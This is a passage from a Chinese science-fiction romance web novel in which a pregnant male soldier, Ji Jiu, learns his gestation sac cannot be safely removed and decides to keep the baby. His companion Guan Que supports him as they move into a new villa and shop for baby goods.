他的视线里只有那个蜷缩着的小生命,高清晰度,立体地,全方位地展现在他面前。 他能看清那圆圆的脑袋,紧闭的眼裂,小小的鼻子、嘴和耳朵。他双手抱在胸前,微蜷的手指像是一颗颗刚长出的豌豆。他看着他动了下小脚,而自己腹部也同时有了感觉。他抬手轻轻按住那处,看他悬浮在三维画面里缓缓转着圈,像是一颗悬浮于太空中的,最美丽夺目的行星。 ……他真漂亮。 他是世界上最漂亮的存在。 纪九喃喃道。 “好的,检查结束,没有什么问题。你先去病房等待,差不多半个小时后就可以手术。” 医生关掉三维屏,转过身,在看见检查床上的人后,突然停下了声音。 他看见那名年轻俊美的病人依旧平躺在床上,却抬起一条手臂挡住了脸。他的身体在一下下抖动,暴露在手臂外的下巴上满布泪痕…… 家属等待室里,关阙坐在一群或焦急、或焦虑、或焦躁的男人当中,既不抖腿也不来回兜圈,只稳稳坐着。他看似最为镇定,但脊背挺得有些过于板正,还不时会看一眼墙上那排小灯。 只要其中某盏灯亮起,便代表某位产夫产妇的家属可以去接人。 十二号小灯亮起,关阙唰地站起,身后的椅子被推得发出吱嘎一声,接着大步走向了门口。 纪九垂着头坐在走廊长椅上,双手交握放在膝盖上,只盯着面前地面。 他听见了由远及近的匆匆脚步声,视野里也多出了一双做工考究的深棕色皮鞋,还有一小截笔挺的裤管。 他没有抬头,也没有动作,任凭那人在身旁坐下,鼻尖闻到了一丝熟悉的,清淡得犹如风过松林的味道。 关阙安静地坐在纪九旁边,眼睛注视着远方。两人都没有开口,周围很安静,只听见不远处机器人报号的声音。 良久后,纪九有些暗哑的声音响起:“半个小时后手术。” 关阙略微顿了顿,问道:“我是跟着你进手术室,还是在外面等?” “别进去了,就在外面等我吧。”纪九扯了扯嘴角。 “他很漂亮,可惜你刚才没有看见,他真的很漂亮。”纪九拧着自己的手指,将那根根指节都拧得发白。 “我能想到。”关阙低声应道。 “其实他没有任何错。是我自己的原因。”纪九侧头看向一旁,眼睛又泛起了红。 “现在就别想这些了。”关阙揽住他的肩膀,轻轻拍了拍。 “嗯。” 两人就坐在长椅上等待着,听着机器人助理偶尔响起的声音。 “十五号病人在等待室吗?家属呢?准备去手术区了。” “十四号病人不要离开等待室。” …… “我们是多少号?”纪九问。 “十二号。”关阙回道。 “那快了。” “嗯,快了。” 正说着,旁边的房门打开,那名做三维透视检查的医生匆匆走了出来,手里还拿着一张报告单。 他看见坐在长椅上的纪九和关阙后,顿时停下脚步:“你们在这儿啊,我正要去找你们。” 不待纪九二人回应,他又对纪九道:“你刚离开后,我看了下数据,发现你这个孕囊有些问题。” 孕囊有问题? 纪九不解地看着医生,关阙立即坐直了身体,声音紧绷地问:“怎么了?问题严重吗?” 医生将报告单在手里抖了抖,皱起眉道:“这事情嘛,说严重,是很严重,说不严重吧,也算不上严重。我还是第一次见到这样的孕囊,虽然生长发育得很好,但它和母体紧密连接,呈现出无法取出的状态。” “这是什么意思?”关阙不解,纪九也屏住了呼吸。 “现在中止妊娠,那么孕囊也要从身体里一并拿出,这个过程并不复杂。但刘先生的孕囊在生长过程中,它发生了一些改变,已经成为了孕夫身体的一部分。就像是……怎么说呢?”医生推推眼镜,“它就像是刘先生自己长出来的孕囊,和身体紧密长在了一起,包括神经和大血管。如果要拿掉它,那就要动一次大手术,一点点进行剥离。” “大手术?”纪九愣愣地问。 “我刚才拿到结果,就立即询问了产科主任。他看过孕囊的三维图和数据,说我们医院虽然是藤谷星最好的医院,却从来没见过这样的病例,更没做过这样的手术。如果你坚持要手术,那我们院里下午进行一次会诊,看能不能拿出一套治疗方案。如果不行的话,你还是去其他医院看看。” 关阙看了纪九一眼:“如果动手术,他会有危险吗?” “明确的说,我也不知道,毕竟要将整个孕囊剥离,那就会面临一些难以预料的意外情况。”医生思索着斟词酌句,“不过刘先生一旦做了这个手术,以后就没有再受孕的可能,这应该是你们唯一的一个孩子。” 关阙和纪九从未想过会遇见这样的事,都愣愣地没吭声。医生又道:“但还有一个解决方案。” “什么方案?”关阙先回过神。 “我之前就说了,这事情说严重也严重,说不严重也不严重。”医生又掸了掸报告单,“检查结果表明,孕囊发育得很好,也没有对孕夫的身体造成危害。孕囊都有个生长和萎缩的过程,按照它的生长情况,它在完全成熟后,可能会从孕体上自然剥离,不会给孕夫带来危险。” “自然剥离是什么意思?”关阙问道。 医生看了他一眼:“就是自然分娩后,孕囊会萎缩,再自行排出体外。” 半个小时后,关阙和纪九站在医院外的大街旁。 “肯定会有办法的,现在别想太多。”关阙两手插在风衣口袋里。 纪九翕动了下嘴唇,却又没有发出声音。 “好了,我们总不可能就在医院门口站一下午,现在就把这事情暂时放开,晚上再仔细商量。”关阙对着纪九伸出手:“走吧,我们去逛街,先给你买个电话,再去我们遇到的每一家服装店,把每件衣服都拎去试。” 纪九看着伸在面前的那只手,半晌后才抿了抿唇,低声道:“好,走。” 纪九原本以为关阙只是随便说说,没想到他在给自己买了个电话后,果真一家家服装店逛了过去。 “真的要买衣服吗?我觉得我这件能穿。”纪九平素很少逛服装店,一件夹克和两套军装就能对付。 关阙打量着纪九:“快要进入冬季了,得准备几件厚的冬装才行。” 纪九虽然逛着店,却一直有些心不在焉。但关阙看得很认真,像是将医院的事已经抛到脑后,遇到不错的便拿给纪九,让他去试试。 “这一件,还有这件,对了,这件也拿上,都给他试试。”关阙将几件衣服递给旁边的导购。 纪九听得头皮发紧:“在身上比一下就行了嘛。” 导购笑道:“先生,衣服要穿上身,才知道合不合适,衬不衬您的气质。还是试一下吧,很快的。” 纪九只得进入了试衣间,再出来时,关阙和几名导购的目光便齐刷刷看了过来。 他平常总是穿着夹克,这时换上了一件银灰色大衣,内搭浅色高领毛衣,帅气中少了几分张扬随意,却多出了几分内敛和斯文气。 关阙正在接电话,目光停留在纪九身上,语声跟着顿住。 对面的人说了半晌没有得到回应,便试探地问:“希先生,希先生?请问您还在吗?” “嗯,我在听,你说。”关阙嘴里回答,目光依旧注视着纪九。 纪九见关阙接电话,便没有打扰他,只在他面前转了转,露出个询问的神情。 “您现在有时间吗?我来接您和您伴侣去看那栋房子。” “希先生,希先生?” “您听见了吗?希先生?” …… “听见了。”关阙垂下眼眸:“非常好,很好。” “啊?什么?” “我说我现在有时间。” “好的,那我马上到。” 纪九没得到关阙的评语,怀疑自己穿着很难看,赶紧扭身往试衣间走:“我就说了,我不适合穿这种太正式的衣服,就不是我的风格。我这种不羁浪子还是要穿夹克。” 关阙挂上电话,一直看着他消失在试衣间门内,才对一旁的导购道:“他刚才试过的都装起来。” 两人大包小包地离开了服装店,纪九看见路边停着一辆车,车前站着个西装革履的男人,满脸笑容精神奕奕,瞧着不是推销就是房屋中介。 “请问是希先生吗?”房屋中介迎了上来,得到肯定答复后,立即去接两人手上的包袋,往自己车上放。 纪九看向关阙,关阙对他扬了扬手中电话:“我们中午吃饭的时候,我就联系了房屋中介,他现在来接我们去看房子。” 车辆启动,行驶了约莫半个小时,纪九发现车窗外的民宅逐渐变少,出现了不少军队机构。当经过一处恢弘大门时,他看见了戒备森严的值岗士兵,还有满载军用物资的车辆在进进出出。 “希先生真是好眼光,秋藤沙区是整个古费城最安全的地方,毕竟挨着375军营,还有军工设计所,没人敢在这里犯事。”房屋中介一路都在说个不停,见纪九盯着军营大门,便笑着道。 纪九没有说什么,但身体有些紧绷,坐在旁边的关阙似是察觉到他的异常,用两个人才能听见的声音道:“我要求环境好一点,安全一点,他就在这里选了房。没事的,别紧张。” “我知道的,就是本能反应。”纪九也小声回道。 375军营旁便是一个高档小区,里面全是一栋栋独立别墅。虽然也是那种圆弧顶房屋,但融入了设计感,看上去既古朴又漂亮。 房屋中介将车停在其中一套别墅前,小跑着去打开了那扇雕花铁门。纪九和关阙便跟在他身后踏入了前院。 “看这庭院多漂亮,也适合小孩玩,这边还可以放个秋千。这房子是布萨大师设计的,集现代优雅和历史于一体,满满都是布氏风格。刘先生当心,注意脚下,这里有级台阶……这是大厅,家具全是从刺格星海城运来的,光是这座沙发,就用了三十万塔柯币……” 纪九跟在两人身后,心不在焉地参观完奢靡豪华的一层,又从楼梯到了二层。 “这间房是主卧……宝宝房就在隔壁,和主卧之间有道连通的门,不用先出大门再去宝宝房,这样很方便……希先生给我电话后,我考虑到两位先生的情况,就立即让人准备。现在屋里一应俱全,什么都不缺,包括床上用品和厨具,只静候两位主人……这就是你们的家,温馨舒适的家,两位就不用再出门了,就在家里休息……” 房屋中介一口一个宝宝,但纪九和关阙都没有阻止。毕竟纪九现在明显有孕,如果说出什么不要宝宝房之类的话,难免会让人诧异。 但宝宝两个字,还是让纪九有些神志恍惚。 “……刘先生,刘先生?” “啊,我在听。”纪九余光见关阙看着自己,便指着旁边的花瓶解释,“那个花瓶怪好看的,就没有注意到你们在叫我。” “刘先生真是好眼光,这个花瓶也是某位大师的作品。我有点记不住名字,回头查了后再告诉您。”房屋中介搓搓手,又小心地问,“刘先生,希先生说全凭您做主,那您对这套房子还满意吗?” “不错,很好。”纪九现在也没有心思去管这套房子多少钱,只胡乱点头。 房屋中介又看向关阙,关阙便点了下头:“那就这里了。” 房屋中介强压着激动,迅速打开包,从里面掏出合同,和关阙去了楼下签字。纪九没有一起下去,在原地站了几秒后,走进空荡荡的宝宝房,站在了窗口。 他这里能看见375营营地,营地旁边还有一个军队机构,大门防守得更加森严。纪九看着那像是厂房的建筑,猜测那应该是军工设计所。 纪九收回视线,打量着小区内。这里环境不错,种着成片的本地绿植。房屋之间相隔较远,隐私性很好,算得上是古费城最舒适宜居的小区。 待到签完合同,房屋中介将两人送去酒店后才离开。机器人在厨房忙碌,电视里播放着动画片,鸟崽目不转睛地坐在沙发上,面前盘子里堆满了颜色大小各不一的馒头,大部分都只被咬了一口。 “雀宝,雀宝。” 纪九喊了两声,见鸟崽没有任何反应,便抬手关掉了电视。 “啾啾!” “别看了,我们马上要搬家,去帮爸爸收拾行李。” 鸟崽跳下沙发,又指了指面前那盘馒头,有些委屈地叫了一声。 “我做了芥末馒头,马上就好。”厨房里传出机器人的声音,“雀宝,如果你再藏起来,被我找到了就要吃两个。” 纪九抱起鸟崽,摸了下它的脑袋:“没事,爸爸带你去新房子。” 关阙两人迅速收拾好行李,退了房,带上机器人和鸟崽去餐厅吃了晚饭,再打车回到了他们的新家。 纪九去主卧收拾行李,将今天买的那些衣服都挂进衣帽间。但他整理到关阙的衣物时,突然反应过来一件事。以前条件不允许,所以他和关阙总是住在一起。但这栋别墅这么大,房间也多,他俩还住在同一间屋子里就不太合适了吧? 纪九正琢磨着去另外的房间住,便听见楼梯响起脚步声,接着关阙走了进来。 关阙已经摘掉了面具,露出了本来面容。他见纪九正蹲在打开的皮箱前,一脸困扰地看着自己的那一堆衣物,立即就猜到了纪九的想法,道:“这些衣服别拿出来,我要拿去我的房间。” 纪九抬头,关阙又道:“你就住这间屋子,我住隔壁客房。” 两人说话时,鸟崽背着它的小包袱进了屋。它迈着八字步经过两人身旁,大喇喇地走进宝宝房,再理所当然地占据了房里那张唯一的小床。 虽然没有什么行李,但住进新家,总得去熟悉各个房间和一些物品的摆放,如此一通下来,时间便到了晚上。 待到鸟崽睡着后,纪九一个人上到了这栋别墅的天台。 这里的房屋都是圆弧顶,别墅也不例外。他穿着T恤坐在房顶上,仰头看着天空那闪烁的星辰,一时间满心都是愁绪。 片刻后,有脚步声靠近,身旁有人坐下,肩上也多了一条毛毯。 “古费城夜里会降温,晚上要多穿点。”关阙道。 纪九拉了拉身上的毛毯,转头看向关阙:“你不也穿着短袖吗?” 关阙很自然地回道:“我又没有怀孕。” 这段时间以来,关阙是第一次将怀孕两个字明明白白地说出口。纪九立即清楚,这是他想要好好谈一谈白天的事。 第50章 古费城的夜晚很安静,远处的点点灯光铺展,和星光连成了一片。 “我已经告诉医院,让他们联系塔柯星的产科专家。”关阙声音低沉平稳,“如果古费城医疗设施不够,也一并从塔柯星运来就是了。” 纪九侧头看向关阙,看他在昏暗光线里却显得愈发轮廓分明的侧脸,轻声问道:“阿宝,你希望我做这个手术吗?” 关阙停顿了一瞬,回道:“不管你做出什么选择都可以,不用问我。” “但是我想听听你的想法。”纪九道。 “为什么?”关阙转头看向他,眼眸被夜色浸润得更加深邃浓黑,“为什么会在意我的想法?” 纪九迎着他的注视,坦然回道:“你对我很重要,我希望能听听你的意见。” 关阙定定看着他,片刻后才转回头,将目光投向了远方。 “医院告诉我,下午会诊的结果,是这台手术的风险很大,对主刀医生的要求也很高,他们没法做。医院方面联系了塔柯星的专家,把你的情况告知了对方,但对方拿出的治疗方案,和他们也差不多。” 关阙喉结上下滚动,声音低沉地道:“我说过,不管你做出什么选择,我都会帮你。你如果想要手术,我就请塔柯星的专家来给你做,但既然你要问我的意见,我不希望你用生命去冒险。” 纪九垂下眼眸,片刻后问道:“别人的孕囊都很正常,为什么到我这儿就不正常?” “我也查了有关人工孕囊的资料。”关阙皱起眉,“但像你这种情况,我都没找到这方面的信息,医院不敢做手术也很正常。” “你们虞人那边的孕囊是什么样的?”纪九问。 “我不清楚。我十四岁就进入了暗影军团,十四岁之前也没关心过这些。” 纪九轻轻叹了口气:“不管怎么样,阿宝,我都感谢你替我做的一切。” 关阙双手交握搁在膝盖上:“我能问一个问题吗?” “什么问题?” “你为什么那么抗拒那个。”他顿了下,又改口,“孩子。” 纪九沉默两秒后回道:“我抗拒的不是他,而是另外的一些东西。” “是孩子的另一名父亲?”关阙立即问。 纪九没有出声,关阙便也就知道了答案。 “你担心他来抢走孩子?以后和你纠缠不清?” “不!我不担心这一点。” 关阙微微皱起眉:“那你和那人之间,究竟是怎么回事?” 对于纪九来说,在赤牙城发生的那件事,他只会永远藏在心底,不会告诉任何人,更不会告诉关阙。但他又不想对关阙编造各种谎言,一番纠结下,所以还是决定讲述事实,只是要选用另外的说法。 “我和那人其实是一个错误,怀孕也是因为他的冲动,是他犯下的错误。和我没有什么关系,我并不想和他有什么……”纪九有些艰难地道,“不过他已经死了,就是那次赤牙城任务。” 见关阙一脸若有所思,纪九又补充:“就算他没有死,我和他之间也永远不会再有可能。” 关阙点点头:“也就是说,你和那个人之间没有感情?” “没有。”纪九果断回答,“从来都没有感情,半点都没有。” 关阙微微眯起眼:“那你为什么去植入孕囊?我觉得要双方关系很亲密的情况下才会考虑这个。” “我没有!”纪九立即喊冤,“那是医院的失误,我根本不知道我被植入了孕囊。你可以去查上个月的耀炽城新闻,就是我们去银辉星那几天,那家医院给好多人种了孕囊,人家都闹到他们医院去了,我都想端着狙击炮把医院给炸了!” 纪九说到这里,满脸都是憋屈,但关阙的神情却突然变得轻松起来,双眸也微微闪着光。 关阙清了清嗓子:“以后再找那家医院算账,现在先解决眼前的难题。做手术的话,风险太大,但要是不做,你又讨厌这个孩子。不,你讨厌的不是孩子,你讨厌的是那个人。” 关阙说到这里,停顿几秒后才继续:“既然你不讨厌孩子,那么,我的意思是说,我不希望你去冒险,一切要以自己的安全为重。如果你真不想看到他,生下来后,还有其他解决的办法。当然,这只是我的意见。” 纪九抬起头:“什么办法?” “就其他办法。” “其他办法是什么办法?” 关阙看着纪九,接着又转开视线,有些含混地低声道:“拿给别人养吧。” “别人?” “是啊,比如就我啊什么的。” 纪九顿时没了声音,只愣愣地盯着关阙。他心里明明还难受着,却又感觉有些发热,还有些涨涨的酸楚。 关阙握紧了手,神情郑重地道:“纪九,其实你换个角度想想。那个人只是孩子的基因提供者,和你们已经完全无关,和这个孩子,和你,都没有任何关系。” “那个基因提供者已经死了,那就让那些错误,那些不好的事情和不好的回忆,跟着他一起在这世界上彻底消失。” 关阙拿起纪九的手,放在他自己肚子上,轻轻按住:“而这个孩子,只要你想要他,那他就只属于你,是你一个人的孩子。明白吗?” “是我一个人的?”纪九声音很轻,呼吸有些急促,眼睛却很亮。 “当然。”关阙伸出另一只手,轻轻抚上他的发顶,“纪九,一个基因提供者而已,无足轻重,他不值得你用这么大的代价去憎厌,不需要用他的错误来惩罚你自己。” 关阙话音刚落,两个人突然都身体一僵,顿住了动作。关阙神情变得有些怪异,纪九看向他,轻声问道:“你感觉到了?” “嗯。” “他蹬了我们一下。” “这是——” “嘘……” 纪九抽出自己的手,按在了关阙的手背上。 关阙明显感觉到掌心下那个小小的鼓包,先是一惊,低头去看他肚子,像是有些诧异于肚皮为什么这么薄。但随着那只小脚又踹了踹,他心里轻轻一跳,一种奇异的悸动,一种说不清道不明的情绪,在心头缓缓蔓延。 他就保持着这个姿势,轻轻按着那个小包,直到那只调皮的小脚收了回去,这才慢慢收回手。 纪九抬起眼,见关阙还注视着自己肚子,神情有些怔忪,不由也跟着愣了愣。 关阙察觉到纪九的注视,这才回过神,有些不太自在地移开视线。 他不知道这一刻的悸动是因为什么,但那种感觉让他觉得并不糟糕。 “他可能听见我们的谈话了。”关阙道。 “不会的,他又听不懂。”纪九抿了抿唇,放轻了声音,“但我们还是说小声一点……万一呢?” “嗯。” 纪九收起两条腿,将下巴抵在膝盖上:“阿宝,你不想我做手术,是吧?” 关阙搭在身侧的双手张开又蜷起,最后道:“我不希望你出事。在可能危及生命的前提下,其他任何事都是小事。” “我知道做手术很危险。”纪九黯然道,“但除了我们刚才说的那些原因之外,还有个原因也让我不想留下他。”他顿了顿,又纠正,“不是不想,是不能。” “你知道我现在的情况,什么都不能给他。我是一名自身难保的通缉犯,身上的罪名都还没有洗清,怎么敢把他生下来?我要出了事,他该怎么办?如果给不了他稳定的生活,那就不要让他来到这个世上,再让他艰难地活着。” “不,他不会过艰难的生活。”关阙依旧看着前方。 “这谁能保证?”纪九放轻了声音,嘴边露出一丝苦涩的笑。 “我能保证。” “什么?”纪九有些茫然。 “他会有很多的钱。” 纪九愣了一瞬,抬起头问:“很多的钱?” 关阙没有吱声,纪九心头一动,又问:“你要给他钱?” 纪九往关阙那边挪了挪,撞撞他的肩膀:“是不是?是不是这个意思?” “看情况吧。”关阙瞥了他一眼。 “怎么说些模棱两可的话?”纪九探头去看他的脸,“你给多少?说下我听听,我看着数目决定生不生。” “三个矿脉够不够?” “三个矿脉,那是多少钱?” “无法用钱来计算的那么多的钱。” 纪九对三个矿脉完全没有概念,便道:“换成现金怎么样?” “要多少现金?” 纪九咬咬牙,报出了一个数目:“两百万。” 关阙沉默几秒后,突然笑了一声。 “你在笑话我?” “没有。” 纪九看着关阙带笑的侧脸,只觉得心里的苦涩慢慢流走,整颗心像是变成了一个刚出炉的棉花糖,温暖又松软,带着丝丝的甜。关阙如同一座可靠的山,只要有他在,自己便可以随心做出任何决定,彷佛没有什么事是他解决不了的。 纪九突然就觉得,留下这个孩子又怎么了? 去他的另一个父亲,去他的来历不明,所有的伤害,所有的那些不好的回忆,统统都给我滚蛋。 我不想用一场痛苦去结束另一场痛苦,我不会用自己去冒险,不会让关阙为我提心吊胆。 我遵从自己。 我想要这个孩子。 就是想要。 纪九深深吸了口气,突然开口:“阿宝,我已经做出了选择。我要留下这个孩子。他是怎么来的不重要了,重要的是我想要他。” “我不会要你的钱,孩子也不需要,我能养活他。但也正是因为你说的那些话,才让我心里有了底,就好像原本悬在半空,双脚无着无落,现在却能稳稳当当踩到实地。你让我心里很踏实,觉得就算我要掉下去,你也会把我接住。” 当纪九用略微颤抖的声音说出这番话后,只觉得压在心上的大石被掀开,整个人只觉得无比轻松。 “阿宝,我决定了,生下这个孩子。”纪九的声音这次更加坚定。 关阙没说什么,只抬手揉了揉他的头,微笑着看向右边的那片灯光。 他转头的瞬间,脸上的笑意却淡了些,眼里也多了一分苦涩。 但很快地,他便调整好自己的情绪,这个过程只花了一两分钟。 他转头看向纪九,看见他正在出神,身上的毛毯已经滑落。他正要伸手去拿,便见纪九那鼓鼓囊囊的裤兜里,露出了一截小狐狸的尾巴。 关阙注视着那截尾巴,再抬头看向天空,良久后,轻轻吐出一口气,释然地笑了笑。 “阿宝。”纪九突然出声。 “嗯。”关阙依旧望着天。 “我想问你一个问题。” “说吧。” “你看着我。” 关阙转过头,便对上了纪九的视线。 纪九离他很近,近到就算光线幽暗,也能看见他微微颤动的睫毛,还有下巴上又冒出来的一颗小痘。 “阿宝。”纪九看着他,声音放得很轻,“你知道我刚在在想什么吗?” “想孩子。” “不,我没想他。”纪九摇摇头,“我在想你。” 关阙没有出声,纪九又道:“我在想,你对我真好。” “好吗?”关阙的声音有些哑。 “这世上除了我哥,就数你对我最好。” 纪九再凑近了一些,声音轻得像是呓语:“阿宝,你为什么要对我这么好?” 纪九温热的呼吸扑打在关阙脸上,看向他的目光有些灼烫。关阙垂眸看他,虽然沉默着,但心里已经有了答案。 他知道自己为什么要对他好,因为他想那双漂亮如晨星的眼睛,永远像自己第一次看见时那样,充满神采和活力,闪着有些狡黠的光。 就像他幼时在草原上遇见的一只小狐狸。 他觉得自己能告诉纪九答案,也能提出一些要求,比如让这双眼睛以后只看着他,永远只看着他一个人。 他相信,只要自己现在提出,纪九便会答应。在他最脆弱的时刻,最感激的时刻,自己提出什么他都会答应。 所以告诉他答案,可以是以后的任何一天,但不能是今晚。 关阙看着纪九,缓缓笑了起来。 朦胧光线下,这个笑容让他硬朗的脸部线条变得柔和,英俊得有些不似真人。 “以后再告诉你。”关阙微微俯身,在他耳边低声道。 接着便站起,走向了通往楼下的楼梯。 纪九看着他的背影,直到他走到楼梯口才回过神,面红耳赤地道:“你过分了啊,你真的过分。你又对我放电。你对着一名那个放电,有良心吗?” 纪九没有立即跟下去,而是又在楼顶坐了几分钟。 他刚才冲动之下,差点就对关阙开口,想问他愿不愿意做自己男朋友。 他没有谈过恋爱,但并不妨碍他知道什么是心动。 他对关阙不止心动了一次,且最近动得越来越频繁,有时候都有些按捺不住的趋势。特别是关阙对着他放电时,他都深恐那颗心会蹦到喉咙眼,自己对着关阙啪嗒啪嗒说上一通。 但他又觉得,这个问题在任何时候问都可以,但不能是在刚决定留下孩子的今天。 多了个孩子,有些问题,就没法再轻易地问出口。 纪九回到卧室,进了卫生间洗澡。 他脱掉衣物,全身赤裸地站在镜子前,认真地看着自己。 这是他从知道怀孕以后,第一次这么认真地,毫不避忌地看着自己的肚子,左右照,用手比划大小。 他拿起旁边的电话,用手机拍了一张,将其他部位截掉,用信息的形式发给了关阙。 56343233:? 56345676:给你看个肉南瓜。 56343233:! 56345676:好玩不? 小九:你也改下名,像我一样。 56343233:就这样,挺好。 关阙赤裸着上半身站在卫生间里,用毛巾擦着头发上的水。电话就放在一旁,没有熄屏,他不时转头看一眼。 小九:你睡着了吗? 关阙拿起电话,正要输入,却看见对方也在输入中。他停下动作,一直看着屏幕,足足过了半分钟,对方一条删了又写,写了又删的信息才弹了出来。 小九:阿宝,你对我很重要,比三个矿脉加两百万都要重要。 关阙没有什么表情地放下手机,给牙刷挤上牙膏。 镜子里的男人开始认真刷牙,但刷着刷着,脸上又露出了一个浅浅的笑。 关阙匆匆漱口,拿起手机,将自己的那串数字昵称,改成了阿宝。 50-60 第51章 纪九睡了香甜的一觉,醒来后已是早上八点。鸟崽没在宝宝房里,他洗漱完毕,刚推开卧室门,便听见楼下传来了电视声。 他走到楼梯口,看见鸟崽坐在宽大的沙发中央,如同停在大型航母里的一架小飞机,正有节奏地跟着动画片音乐挥动翅膀。而机器人就背朝客厅站在窗旁,低头在看着什么。 纪九没看见关阙,厨房方向隐约传来动静,想必正在准备早餐。 他下到楼底,蹑手蹑脚地走到机器人身后,探出脑袋去看。 只见机器人左手拿着那本已经翻得有些卷页的孕夫手册,右手拿着一支笔,正在上面勾勾画画。 “胡萝卜素在人体内可以转化为维生素A,有助于维持孕夫的视力健康,对胎儿的眼睛、皮肤、免疫系统以及器官的正常发育都起着重要作用。” 机器人在那排字后面备注上小字:纪九不爱吃胡萝卜,可在他的米饭里拌上胡萝卜汁,再加一勺糖。 “我也不爱吃米饭拌蔬菜汁,而且还是甜的。”纪九在它头顶幽幽道。 机器人一个激灵,连忙合上那本孕夫手册,再背在身后,假装什么事都没有。 纪九笑笑,转身走向厨房,嘴里道:“琪宝,我还挺喜欢喝胡萝卜汁的,以后帮我榨汁吧,每天一杯就行,我和孩子补充点维生素A。” 机器人愣住,只呆呆看着纪九的背影,直到他进入厨房才回过神,屏幕闪了闪,接着炸开了几朵烟花。 关阙背对着厨房门,将刚烤好的吐司端出烤箱。按照以往,纪九立即就要出声,但今天他却站在门口,迟疑几秒后,才轻轻咳了一声。 关阙立即转过头,盯着他看了两秒,接着调回视线。 明明昨晚上什么都没说,但纪九却有些自己心思可能已被对方猜着的局促,也难得地感到了一丝羞涩。 关阙却表现得很平静,将烤出的吐司分别装盘,淡淡地问:“起床了?” “这不很明显吗?”纪九低头看着自己脚尖。 “吃早饭了吗?” 纪九略微愣了下:“……这不很明显吗?” 空气有着片刻的静默,纪九看着关阙的背影,在意识到他其实只是有个镇定的表象后,突然噗嗤笑了一声。 关阙的背影僵了僵,但还是端着盘转身,对他点点头,很自然地打招呼:“早。” “早。” 关阙视线下移,对着他的肚子道:“早。” 纪九的手贴在肚子边,轻轻挥了挥,捏着嗓子学小孩子:“早。” 纪九上前去接盘子,关阙道:“你去端牛奶。” “好。” 两人在桌子对面坐下,都已经从刚才那种微妙气氛中恢复过来,如平常那般有句没句地聊着天,说些无关紧要的话。 鸟崽就站在餐桌一端,脖子上系着一条餐巾,啄食一碗用牛奶冲泡的麦片。 机器人在收拾茶几上的干果盘,不时转头提醒一句:“雀宝,餐巾不要掉进碗里了。雀宝,吃饭的声音小一点,这是用餐礼仪。” 鸟崽便用一只脚爪踩着垂下的餐巾一端,减轻啄食的力度,让笃笃声小了下去。 “我们吃完饭就出门,今天要办的事很多。”关阙将涂好黄油的面包片递给纪九,“老是打车不方便,先去车行提一辆车。刚才交易所来了电话,说我订的材料今天上午会送到,我们取了材料,就去给吴思琪换腿。” “我不着急,什么时候换腿都行,先把你们重要的事情办完。”机器人走到关阙身旁,蹲下身,用抹布去擦他拖鞋上溅的几滴水,又问,“你们早饭还要吃多久?五分钟够吗?” “快了,别着急。”纪九道。 “我又不着急,这双腿用着也挺好。” 纪九先吃完,便去楼上换可以外出的衣物。他打开衣柜,从那排刚买的新衣服里选出一件卡其色风衣,再配上米白色高领毛衣。穿好后,去了卫生间,用梳子整理了下自己的发型。 他对着镜子左右打量,最后吹了声口哨:“帅!” 他离开卧室下楼梯,看见关阙正从楼梯上行,应该是准备回房换衣服。 他立即顿住脚步,侧身斜靠着扶栏,两手抄进裤兜,半垂眸看着关阙。 待到关阙也看了过来,他便朝着关阙眨了下眼。 电死你。 关阙脚步略顿,接着继续往上,从他身旁经过,走向自己房间。纪九一直看着他的背影,在看见他中途转头看向自己时,又对他眨了下眼,嘴里还模仿电流的声音:“滋……” 关阙没有说什么,只停在自己卧室门口,一边伸手推门,一边对他缓缓勾唇。 接着也做了个和他相同的动作,冲他眨了下眼。 关阙此时头发略微凌乱,衬衫没有扣紧,衣袖也松松挽起,露出一段结实的小臂。当他也对纪九露出这种表情时,整个人的气质便和平常的冷静克制迥然不同,多出了一种说不出的风流和倜傥。 直到关阙进了屋,纪九还愣愣地看着那关上的房门,好半晌才回过神。他揣着一颗扑通乱跳的心脏下楼梯,机器人正在将鸟崽装进背包,转头看见他,问道:“纪九,你脸怎么这么红?” 纪九含笑道:“被电了。” “啊?!” “开玩笑的。” 待到关阙下楼,他们便离开小区上了大街。关阙叫了一辆出租车,将他们送去最近的车行。 二十分钟后,一辆深灰色豪华轿车驶出车行。车行销售站在大门口,左手端着半碗还没吃完的面,右手拿着刚签好的单,愣愣地对身旁人道:“你掐我一下?我觉得我好像在做梦,还没有睡醒。” 关阙驾驶着新买的车,用耳机和交易所联系。当得知离材料空运来还要一个小时,他便放大音量,让后座的机器人能听见,再扭头问它:“还等上一个小时,行不行?” “不着急,我一点都不着急。”机器人的手指急促地挠着自己腿,发出吱啊吱啊的声音。 关阙又问坐在副驾驶的纪九:“那我们现在去哪儿?” “你决定吧,去哪儿都行。”纪九随意地道。 “那让我想想。”关阙减缓车速,目光扫过街边,在看见一家商店招牌后,便将车停在了路边,“我们就在这儿逛。” 这是纪九第一次踏足母婴店,也是第一次看见这么多的婴儿用品。他看着那些粉嫩的小衣服小袜,只觉得整个心都跟着变得柔软。 关阙也在四处打量,胳膊却被轻轻碰了下。他侧过头,看见纪九朝他竖起手指,指头上还套着一个指套。 他仔细一瞧,发现那不是指套,而是一只袜子,白色的软绒袜面上还有一只黄色小鸭。 “这是婴儿穿的吗?还没有我的手指长。”纪九将手指一下一下屈伸,两眼亮晶晶地看着关阙笑。 关阙思忖道:“应该是服装展示模型。” “两位先生,这可不是展示模型哦。”一名长相甜美的店员小姐走了过来,“这是两个月龄小宝宝的袜子,他们的脚就只有这么大哦。” “啊!!”纪九大为震惊,“这么小的脚?”关阙则连接看了那袜子好几眼,似乎也觉得有些不可思议。 “当然了,这片区域是两月龄宝宝的物品,旁边是3-6个月宝宝物品。” 店员小姐简短介绍后,便让他们自行挑选,自己则去了柜台后。纪九拎起袜子和关阙对视,又对他低语:“这么小的脚啊,还没有一块红烧肉大,我要吃掉只需要一口。” “胡说什么呢?”关阙垂眸看着他,语气听上去有些无奈。 “你自己看嘛,我哪里胡说,我们军队食堂做的红烧肉,每一块都比这个大。我要吃个婴儿脚,那还不是一口的事?” 关阙也仔细打量那袜子,又去看他的嘴,很严谨地道:“还是要两口才能吃掉。” 两人一边低声说笑一边转身,但还没提步,便又齐齐闭上了嘴。 他们身旁站着一名老太,正惊恐地仰头看着他们。见两人转头,老太一把抱起自己的孙子,匆匆离开了母婴店。 两人对视无语,默默放下袜子,开始挑选婴儿用品,也没有再说吃婴儿脚的事。 纪九看见什么都很新鲜,拿起那些小衣服和小帽子,就会想象它们穿在宝宝身上的模样,只爱不释手地看,心里越来越软。 两人都不断往购物车里放东西,柔软的连体衣、帽子、口水兜,小毛巾等等,嘴里也在小声商量。 “奶瓶要拿吗?”纪九问。 